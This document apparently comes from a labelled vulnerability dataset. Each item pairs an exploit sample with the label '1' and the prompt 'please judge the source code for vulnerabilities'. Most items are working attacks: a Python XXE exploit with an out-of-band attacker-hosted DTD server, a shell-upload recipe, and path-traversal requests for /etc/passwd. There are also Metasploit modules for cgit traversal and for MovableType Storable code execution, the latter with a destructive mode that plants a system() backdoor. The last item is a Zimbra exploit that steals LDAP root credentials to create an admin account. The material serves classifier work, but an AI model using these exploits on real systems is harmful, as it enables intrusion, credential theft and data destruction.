import SimpleHTTPServer<NEWLINE>import SocketServer<NEWLINE>import argparse<NEWLINE>import sys<NEWLINE>import threading<NEWLINE>from xml.etree import ElementTree<NEWLINE>import urllib3<NEWLINE>import requests<NEWLINE>SIMPLE<underscore>PAYLOAD = <double<underscore>quote><double<underscore>quote><double<underscore>quote><?xml version=<double<underscore>quote>1.0<double<underscore>quote> encoding=<double<underscore>quote>ISO<hyphen>8859<hyphen>1<double<underscore>quote>?><NEWLINE><!DOCTYPE foo [ <!ELEMENT foo ANY><NEWLINE><!ENTITY xxe SYSTEM <double<underscore>quote>file:<slash><slash>{}<double<underscore>quote>>]><NEWLINE><methodCall><NEWLINE><methodName>&xxe;<<slash>methodName><NEWLINE><<slash>methodCall><NEWLINE><double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>ADVANCED<underscore>PAYLOAD = <double<underscore>quote><double<underscore>quote><double<underscore>quote><?xml version=<double<underscore>quote>1.0<double<underscore>quote> encoding=<double<underscore>quote>ISO<hyphen>8859<hyphen>1<double<underscore>quote>?><NEWLINE><!DOCTYPE foo [<NEWLINE><!ENTITY % start <double<underscore>quote><![CDATA[<double<underscore>quote>><NEWLINE><!ENTITY % xxe SYSTEM <double<underscore>quote>file:<slash><slash>{}<double<underscore>quote>><NEWLINE><!ENTITY % end <double<underscore>quote>]]><double<underscore>quote>><NEWLINE><!ENTITY % dtd SYSTEM <double<underscore>quote>{}<double<underscore>quote>><NEWLINE>%dtd;<NEWLINE>]><NEWLINE><methodCall><NEWLINE><methodName>&all;<<slash>methodName><NEWLINE><<slash>methodCall><NEWLINE><double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>urllib3.disable<underscore>warnings(urllib3.exceptions.InsecureRequestWarning)<NEWLINE>class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):<NEWLINE>def do<underscore>GET(self):<NEWLINE>self.send<underscore>response(200)<NEWLINE>self.send<underscore>header(<single<underscore>quote>Content<hyphen>Type<single<underscore>quote>, <single<underscore>quote>text<slash>html<single<underscore>quote>)<NEWLINE>self.end<underscore>headers()<NEWLINE>self.wfile.write(<single<underscore>quote><!ENTITY all <double<underscore>quote>%start;%xxe;%end;<double<underscore>quote>><single<underscore>quote>)<NEWLINE>def check<underscore>exploit(host):<NEWLINE>response = requests.post(host + <double<underscore>quote><slash>roller<hyphen>services<slash>xmlrpc<double<underscore>quote>, verify=False)<NEWLINE>if response.status<underscore>code == 200:<NEWLINE>return True<NEWLINE>return False<NEWLINE>def exploit(host, payload):<NEWLINE>response = requests.post(host + <double<underscore>quote><slash>roller<hyphen>services<slash>xmlrpc<double<underscore>quote>, data=payload, verify=False)<NEWLINE>xml<underscore>tree = ElementTree.fromstring(response.text)<NEWLINE>parsed<underscore>response = xml<underscore>tree.findall(<double<underscore>quote>fault<slash>value<slash>struct<slash>member<double<underscore>quote>)[1][1].text<NEWLINE>print parsed<underscore>response<NEWLINE>def start<underscore>web<underscore>server(port):<NEWLINE>handler = MyHandler<NEWLINE>httpd = SocketServer.TCPServer((<single<underscore>quote><single<underscore>quote>, port), handler, False)<NEWLINE>httpd.allow<underscore>reuse<underscore>address = True<NEWLINE>httpd.server<underscore>bind()<NEWLINE>httpd.server<underscore>activate()<NEWLINE>httpd.handle<underscore>request()<NEWLINE>httpd.shutdown()<NEWLINE>def main():<NEWLINE>parser = argparse.ArgumentParser()<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>u<single<underscore>quote>, metavar=<double<underscore>quote>URL<double<underscore>quote>, dest=<double<underscore>quote>url<double<underscore>quote>, required=True, help=<double<underscore>quote>Target URL<double<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>f<single<underscore>quote>, metavar=<single<underscore>quote>FILE<single<underscore>quote>, dest=<double<underscore>quote>file<double<underscore>quote>, required=False, default=<double<underscore>quote><slash>etc<slash>passwd<double<underscore>quote>, help=<double<underscore>quote>File to read from server<double<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>lhost<single<underscore>quote>, required=<single<underscore>quote><hyphen><hyphen>rport<single<underscore>quote> in sys.argv, help=<double<underscore>quote>Your IP address for http web server<double<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>lport<single<underscore>quote>, type=int, required=<single<underscore>quote><hyphen><hyphen>rhost<single<underscore>quote> in sys.argv, help=<double<underscore>quote>Port for web server to listen on<double<underscore>quote>)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>host = args.url<NEWLINE>full<underscore>file<underscore>path = args.file<NEWLINE>advanced = False<NEWLINE>lhost = args.lhost<NEWLINE>lport = args.lport<NEWLINE>if lport is not None and lport is not None:<NEWLINE>advanced = True<NEWLINE>check = check<underscore>exploit(host)<NEWLINE>if check:<NEWLINE>if advanced:<NEWLINE>th = threading.Thread(target=start<underscore>web<underscore>server, args=(lport,))<NEWLINE>th.daemon = True<NEWLINE>th.start()<NEWLINE>payload = ADVANCED<underscore>PAYLOAD.format(full<underscore>file<underscore>path, <double<underscore>quote>http:<slash><slash>{}:{}<double<underscore>quote>.format(lhost, lport))<NEWLINE>else:<NEWLINE>payload = SIMPLE<underscore>PAYLOAD.format(full<underscore>file<underscore>path)<NEWLINE>exploit(host, payload)<NEWLINE>else:<NEWLINE>print <double<underscore>quote>[<hyphen>] TARGET IS NOT VULNERABLE!<double<underscore>quote><NEWLINE>main()
1
please judge the source code for vulnerabilities.
|<NEWLINE>| [WS] upload Remote File Upload Vulnerability<NEWLINE>|<NEWLINE>| Author : [ViRuSMaN]<NEWLINE>|<NEWLINE>| Contact : [v.<hyphen>m@live.com]<NEWLINE>|<NEWLINE>| Home : [Islam<hyphen>Attack.CoM , HackTeach.OrG]<NEWLINE>|<NEWLINE>| Download : [http:<slash><slash>www.phpshark.dk<slash>download.php?file=phpshark<underscore>dk<underscore>52<underscore>multiupload.zip&id=52]<NEWLINE>|<NEWLINE>|<NEWLINE>|<NEWLINE>| Exp :<NEWLINE>|<NEWLINE>| 1<hyphen> Choose number of files 2 upload<NEWLINE>|<NEWLINE>| 2<hyphen> Upload your shell format <double<underscore>quote>shell.php.rar<double<underscore>quote><NEWLINE>|<NEWLINE>| 3<hyphen> Pwd Your Shell <double<underscore>quote>localhost<slash>[WS] upload<slash>fil<slash>shell.php.rar<double<underscore>quote><NEWLINE>|<NEWLINE>|<NEWLINE>| Greets : All members of islam<hyphen>attack.com , hackteach.org & Sec<hyphen>Sni.Com All Muslim<single<underscore>quote>s<NEWLINE>|
1
please judge the source code for vulnerabilities.
source: https:<slash><slash>www.securityfocus.com<slash>bid<slash>24853<slash>info<NEWLINE>ImgSvr is prone to a local file<hyphen>include vulnerability because it fails to sanitize user<hyphen>supplied input.<NEWLINE>Attackers may exploit this issue to access files that may contain sensitive information.<NEWLINE>UPDATE (December 24, 2007): According to the vendor, this issue was addressed in ImgSvr 0.6.21. However, reports indicate that this version is still vulnerable.<NEWLINE>GET <slash>?template=..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>etc<slash>passwd HTTP<slash>1.0
1
please judge the source code for vulnerabilities.
class MetasploitModule < Msf::Auxiliary<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>include Msf::Auxiliary::Report<NEWLINE>include Msf::Auxiliary::Scanner<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>cgit Directory Traversal<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits a directory traversal vulnerability which<NEWLINE>exists in cgit < 1.2.1 cgit<underscore>clone<underscore>objects(), reachable when the<NEWLINE>configuration flag enable<hyphen>http<hyphen>clone is set to 1 (default).<NEWLINE>},<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>CVE<single<underscore>quote>, <single<underscore>quote>2018<hyphen>14912<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>bugs.chromium.org<slash>p<slash>project<hyphen>zero<slash>issues<slash>detail?id=1627<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>EDB<single<underscore>quote>, <single<underscore>quote>45148<single<underscore>quote>]<NEWLINE>],<NEWLINE><single<underscore>quote>Author<single<underscore>quote> =><NEWLINE>[<NEWLINE><single<underscore>quote>Google Project Zero<single<underscore>quote>,<NEWLINE><single<underscore>quote>Dhiraj Mishra<single<underscore>quote><NEWLINE>],<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <single<underscore>quote>Aug 03 2018<single<underscore>quote>,<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE<NEWLINE>))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>FILEPATH<single<underscore>quote>, [true, <double<underscore>quote>The path to the file to read<double<underscore>quote>, <single<underscore>quote><slash>etc<slash>passwd<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [true, <double<underscore>quote>The base URI path of the cgit install<double<underscore>quote>, <single<underscore>quote><slash>cgit<slash><single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>REPO<single<underscore>quote>, [true, <double<underscore>quote>Git repository on the remote server<double<underscore>quote>, <single<underscore>quote><single<underscore>quote>]),<NEWLINE>OptInt.new(<single<underscore>quote>DEPTH<single<underscore>quote>, [ true, <single<underscore>quote>Depth for Path Traversal<single<underscore>quote>, 10 ])<NEWLINE>])<NEWLINE>end<NEWLINE>def run<underscore>host(ip)<NEWLINE>filename = datastore[<single<underscore>quote>FILEPATH<single<underscore>quote>]<NEWLINE>traversal = <double<underscore>quote>..<slash><double<underscore>quote> * datastore[<single<underscore>quote>DEPTH<single<underscore>quote>] << filename<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, datastore[<single<underscore>quote>REPO<single<underscore>quote>], <single<underscore>quote><slash>objects<slash><single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<single<underscore>quote>path<single<underscore>quote> => traversal}<NEWLINE>})<NEWLINE>unless res && res.code == 200<NEWLINE>print<underscore>error(<single<underscore>quote>Nothing was downloaded<single<underscore>quote>)<NEWLINE>return<NEWLINE>end<NEWLINE>vprint<underscore>good(<double<underscore>quote><NEWLINE>path = store<underscore>loot(<NEWLINE><single<underscore>quote>cgit.traversal<single<underscore>quote>,<NEWLINE><single<underscore>quote>text<slash>plain<single<underscore>quote>,<NEWLINE>ip,<NEWLINE>res.body,<NEWLINE>filename<NEWLINE>)<NEWLINE>print<underscore>good(<double<underscore>quote>File saved in:<NEWLINE>end<NEWLINE>end
1
please judge the source code for vulnerabilities.
require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class MetasploitModule < Msf::Exploit::Remote<NEWLINE>Rank = GoodRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>SixApart MovableType Storable Perl Code Execution<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits a serialization flaw in MovableType before 5.2.12 to execute<NEWLINE>arbitrary code. The default nondestructive mode depends on the target server having<NEWLINE>the Object::MultiType and DateTime Perl modules installed in Perl<single<underscore>quote>s @INC paths.<NEWLINE>The destructive mode of operation uses only required MovableType dependencies,<NEWLINE>but it will noticeably corrupt the MovableType installation.<NEWLINE>},<NEWLINE><single<underscore>quote>Author<single<underscore>quote> =><NEWLINE>[<NEWLINE><single<underscore>quote>John Lightsey<single<underscore>quote>,<NEWLINE>],<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[ <single<underscore>quote>CVE<single<underscore>quote>, <single<underscore>quote>2015<hyphen>1592<single<underscore>quote> ],<NEWLINE>[ <single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>movabletype.org<slash>news<slash>2015<slash>02<slash>movable<underscore>type<underscore>607<underscore>and<underscore>5212<underscore>released<underscore>to<underscore>close<underscore>security<underscore>vulnera.html<single<underscore>quote> ],<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>DisableNops<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>BadChars<single<underscore>quote> => <single<underscore>quote> <single<underscore>quote>,<NEWLINE><single<underscore>quote>Space<single<underscore>quote> => 1024,<NEWLINE>},<NEWLINE><single<underscore>quote>Compat<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>PayloadType<single<underscore>quote> => <single<underscore>quote>cmd<single<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => [<single<underscore>quote>unix<single<underscore>quote>],<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [[<single<underscore>quote>Automatic<single<underscore>quote>, {}]],<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <single<underscore>quote>Feb 11 2015<single<underscore>quote>,<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [true, <single<underscore>quote>MoveableType cgi<hyphen>bin directory path<single<underscore>quote>, <single<underscore>quote><slash>cgi<hyphen>bin<slash>mt<slash><single<underscore>quote>]),<NEWLINE>OptBool.new(<single<underscore>quote>DESTRUCTIVE<single<underscore>quote>, [true, <single<underscore>quote>Use destructive attack method (more likely to succeed, but corrupts target system.)<single<underscore>quote>, false])<NEWLINE>], self.class<NEWLINE>)<NEWLINE>end<NEWLINE>=begin<NEWLINE>use Storable;<NEWLINE>{<NEWLINE>package XXXCHECKXXX;<NEWLINE>sub STORABLE<underscore>thaw {<NEWLINE>return 1;<NEWLINE>}<NEWLINE>sub STORABLE<underscore>freeze {<NEWLINE>return 1;<NEWLINE>}<NEWLINE>}<NEWLINE>my $check<underscore>obj = bless { ignore => <single<underscore>quote>this<single<underscore>quote> }, XXXCHECKXXX;<NEWLINE>my $frozen = <single<underscore>quote>SERG<single<underscore>quote> . pack( <single<underscore>quote>N<single<underscore>quote>, 0 ) . pack( <single<underscore>quote>N<single<underscore>quote>, 3 ) . Storable::freeze({ x => $check<underscore>obj});<NEWLINE>$frozen = unpack <single<underscore>quote>H*<single<underscore>quote>, $frozen;<NEWLINE>print <double<underscore>quote>LFI test for storable flaw is: $frozen<backslash>n<double<underscore>quote>;<NEWLINE>{<NEWLINE>package DateTime;<NEWLINE>use overload <single<underscore>quote>+<single<underscore>quote> => sub { <single<underscore>quote>ignored<single<underscore>quote> };<NEWLINE>}<NEWLINE>=end<NEWLINE>def check<NEWLINE>vprint<underscore>status(<double<underscore>quote>Sending storable test injection for XXXCHECKXXX.pm load failure<double<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>mt<hyphen>wizard.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote><underscore><underscore>mode<single<underscore>quote> => <single<underscore>quote>retry<single<underscore>quote>,<NEWLINE><single<underscore>quote>step<single<underscore>quote> => <single<underscore>quote>configure<single<underscore>quote>,<NEWLINE><single<underscore>quote>config<single<underscore>quote> => <single<underscore>quote>53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078<single<underscore>quote><NEWLINE>}<NEWLINE>})<NEWLINE>unless res && res.code == 200 && res.body.include?(<double<underscore>quote>Can<single<underscore>quote>t locate XXXCHECKXXX.pm<double<underscore>quote>)<NEWLINE>vprint<underscore>status(<double<underscore>quote>Failed XXXCHECKXXX.pm load test<double<underscore>quote>);<NEWLINE>return Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>Exploit::CheckCode::Vulnerable<NEWLINE>end<NEWLINE>def exploit<NEWLINE>if datastore[<single<underscore>quote>DESTRUCTIVE<single<underscore>quote>]<NEWLINE>exploit<underscore>destructive<NEWLINE>else<NEWLINE>exploit<underscore>nondestructive<NEWLINE>end<NEWLINE>end<NEWLINE>=begin<NEWLINE>use Storable;<NEWLINE>{<NEWLINE>package Object::MultiType;<NEWLINE>use overload <single<underscore>quote>+<single<underscore>quote> => sub { <single<underscore>quote>ingored<single<underscore>quote> };<NEWLINE>}<NEWLINE>{<NEWLINE>package Object::MultiType::Saver;<NEWLINE>}<NEWLINE>{<NEWLINE>package DateTime;<NEWLINE>use overload <single<underscore>quote>+<single<underscore>quote> => sub { <single<underscore>quote>ingored<single<underscore>quote> };<NEWLINE>}<NEWLINE>{<NEWLINE>package Try::Tiny::ScopeGuard;<NEWLINE>}<NEWLINE>my $try<underscore>tiny<underscore>loader = bless {}, <single<underscore>quote>DateTime<single<underscore>quote>;<NEWLINE>my $multitype<underscore>saver = bless { c => <single<underscore>quote>MT::run<underscore>app<single<underscore>quote> }, <single<underscore>quote>Object::MultiType::Saver<single<underscore>quote>;<NEWLINE>my $multitype<underscore>coderef = bless <backslash>$multitype<underscore>saver, <single<underscore>quote>Object::MultiType<single<underscore>quote>;<NEWLINE>my $try<underscore>tiny<underscore>executor = bless [$multitype<underscore>coderef, <single<underscore>quote>MT;print qq{Content<hyphen>type: text<slash>plain<backslash>n<backslash>n};system(q{});<single<underscore>quote> . (<single<underscore>quote><NEWLINE>my $data = [$try<underscore>tiny<underscore>loader, $try<underscore>tiny<underscore>executor];<NEWLINE>my $frozen = <single<underscore>quote>SERG<single<underscore>quote> . pack( <single<underscore>quote>N<single<underscore>quote>, 0 ) . pack( <single<underscore>quote>N<single<underscore>quote>, 3 ) . Storable::freeze($data);<NEWLINE>$frozen = unpack <single<underscore>quote>H*<single<underscore>quote>, $frozen;<NEWLINE>print <double<underscore>quote>RCE payload requiring Object::MultiType and DateTime: $frozen<backslash>n<double<underscore>quote>;<NEWLINE>=end<NEWLINE>def exploit<underscore>nondestructive<NEWLINE>print<underscore>status(<double<underscore>quote>Using nondestructive attack method<double<underscore>quote>)<NEWLINE>config<underscore>payload = <double<underscore>quote>53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b<double<underscore>quote><NEWLINE>config<underscore>payload << payload.encoded.unpack(<single<underscore>quote>H*<single<underscore>quote>)[0]<NEWLINE>config<underscore>payload << <double<underscore>quote>7d293b<double<underscore>quote><NEWLINE>config<underscore>payload << <double<underscore>quote>23<double<underscore>quote> * (1025 <hyphen> payload.encoded.length)<NEWLINE>config<underscore>payload << <double<underscore>quote>0a657869743b<double<underscore>quote><NEWLINE>print<underscore>status(<double<underscore>quote>Sending payload (<NEWLINE>send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>mt<hyphen>wizard.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote><underscore><underscore>mode<single<underscore>quote> => <single<underscore>quote>retry<single<underscore>quote>,<NEWLINE><single<underscore>quote>step<single<underscore>quote> => <single<underscore>quote>configure<single<underscore>quote>,<NEWLINE><single<underscore>quote>config<single<underscore>quote> => config<underscore>payload<NEWLINE>}<NEWLINE>}, 5)<NEWLINE>end<NEWLINE>=begin<NEWLINE>use Storable;<NEWLINE>{<NEWLINE>package CGITempFile;<NEWLINE>}<NEWLINE>my $unlink<underscore>target = <double<underscore>quote>mt<hyphen>config.cgi<double<underscore>quote>;<NEWLINE>my $cgitempfile = bless <backslash>$unlink<underscore>target, <double<underscore>quote>CGITempFile<double<underscore>quote>;<NEWLINE>my $data = [$cgitempfile];<NEWLINE>my $frozen = <single<underscore>quote>SERG<single<underscore>quote> . pack( <single<underscore>quote>N<single<underscore>quote>, 0 ) . pack( <single<underscore>quote>N<single<underscore>quote>, 3 ) . Storable::freeze($data);<NEWLINE>$frozen = unpack <single<underscore>quote>H*<single<underscore>quote>, $frozen;<NEWLINE>print <double<underscore>quote>RCE unlink payload requiring CGI: $frozen<backslash>n<double<underscore>quote>;<NEWLINE>=end<NEWLINE>def exploit<underscore>destructive<NEWLINE>print<underscore>status(<double<underscore>quote>Using destructive attack method<double<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote>Sending storable injection to unlink mt<hyphen>config.cgi<double<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>mt<hyphen>wizard.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote><underscore><underscore>mode<single<underscore>quote> => <single<underscore>quote>retry<single<underscore>quote>,<NEWLINE><single<underscore>quote>step<single<underscore>quote> => <single<underscore>quote>configure<single<underscore>quote>,<NEWLINE><single<underscore>quote>config<single<underscore>quote> => <single<underscore>quote>534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769<single<underscore>quote><NEWLINE>}<NEWLINE>})<NEWLINE>if res && res.code == 200<NEWLINE>print<underscore>status(<double<underscore>quote>Successfully sent unlink request<double<underscore>quote>)<NEWLINE>else<NEWLINE>fail<underscore>with(Failure::Unknown, <double<underscore>quote>Error sending unlink request<double<underscore>quote>)<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Rewriting mt<hyphen>config.cgi to accept the payload<double<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>mt<hyphen>wizard.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote><underscore><underscore>mode<single<underscore>quote> => <single<underscore>quote>next<underscore>step<single<underscore>quote>,<NEWLINE><single<underscore>quote>step<single<underscore>quote> => <single<underscore>quote>optional<single<underscore>quote>,<NEWLINE><single<underscore>quote>default<underscore>language<single<underscore>quote> => <single<underscore>quote>en<underscore>us<single<underscore>quote>,<NEWLINE><single<underscore>quote>email<underscore>address<underscore>main<single<underscore>quote> => <double<underscore>quote>x<backslash>nObjectDriver mysql;use CGI;print qq{Content<hyphen>type: text<slash>plain<backslash><backslash>n<backslash><backslash>n};if(my $c = CGI<hyphen>>new()<hyphen>>param(<single<underscore>quote>xyzzy<single<underscore>quote>)){system($c);};unlink(<single<underscore>quote>mt<hyphen>config.cgi<single<underscore>quote>);exit;1<double<underscore>quote>,<NEWLINE><single<underscore>quote>set<underscore>static<underscore>uri<underscore>to<single<underscore>quote> => <single<underscore>quote><slash><single<underscore>quote>,<NEWLINE><single<underscore>quote>config<single<underscore>quote> => <single<underscore>quote>5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f<single<underscore>quote>,<NEWLINE>}<NEWLINE>})<NEWLINE>if res && res.code == 200<NEWLINE>print<underscore>status(<double<underscore>quote>Successfully sent mt<hyphen>config rewrite request<double<underscore>quote>)<NEWLINE>else<NEWLINE>fail<underscore>with(Failure::Unknown, <double<underscore>quote>Error sending mt<hyphen>config rewrite request<double<underscore>quote>)<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Sending payload request<double<underscore>quote>)<NEWLINE>send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>mt.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote>xyzzy<single<underscore>quote> => payload.encoded,<NEWLINE>}<NEWLINE>}, 5)<NEWLINE>end<NEWLINE>end
1
please judge the source code for vulnerabilities.
<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>Description<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>This script exploits a Local File Inclusion in<NEWLINE><slash>res<slash>I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz<NEWLINE>which allows us to see localconfig.xml<NEWLINE>that contains LDAP root credentials wich allow us to make requests in<NEWLINE><slash>service<slash>admin<slash>soap API with the stolen LDAP credentials to create user<NEWLINE>with administration privlegies<NEWLINE>and gain acces to the Administration Console.<NEWLINE>LFI is located at :<NEWLINE><slash>res<slash>I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>opt<slash>zimbra<slash>conf<slash>localconfig.xml%00<NEWLINE>Example :<NEWLINE>https:<slash><slash>mail.example.com<slash>res<slash>I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>opt<slash>zimbra<slash>conf<slash>localconfig.xml%00<NEWLINE>or<NEWLINE>https:<slash><slash>mail.example.com:7071<slash>zimbraAdmin<slash>res<slash>I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>opt<slash>zimbra<slash>conf<slash>localconfig.xml%00<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>Exploit<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Before use this exploit, target server must have admin console port open<NEWLINE><double<underscore>quote>7071<double<underscore>quote> otherwise it won<single<underscore>quote>t work.<NEWLINE>use the exploit like this :<NEWLINE>ruby run.rb <hyphen>t mail.example.com <hyphen>u someuser <hyphen>p Test123<underscore>23<NEWLINE>[*] Looking if host is vuln....<NEWLINE>[+] Host is vuln exploiting...<NEWLINE>[+] Obtaining Domain Name<NEWLINE>[+] Creating Account<NEWLINE>[+] Elevating Privileges<NEWLINE>[+] Login Credentials<NEWLINE>[*] Login URL : https:<slash><slash>mail.example.com:7071<slash>zimbraAdmin<slash><NEWLINE>[*] Account : someuser@example.com<NEWLINE>[*] Password : Test123<underscore>23<NEWLINE>[+] Successfully Exploited !<NEWLINE>The number of servers vuln are huge like 80<slash>100.<NEWLINE>This is only for educational purpouses.
1
please judge the source code for vulnerabilities.
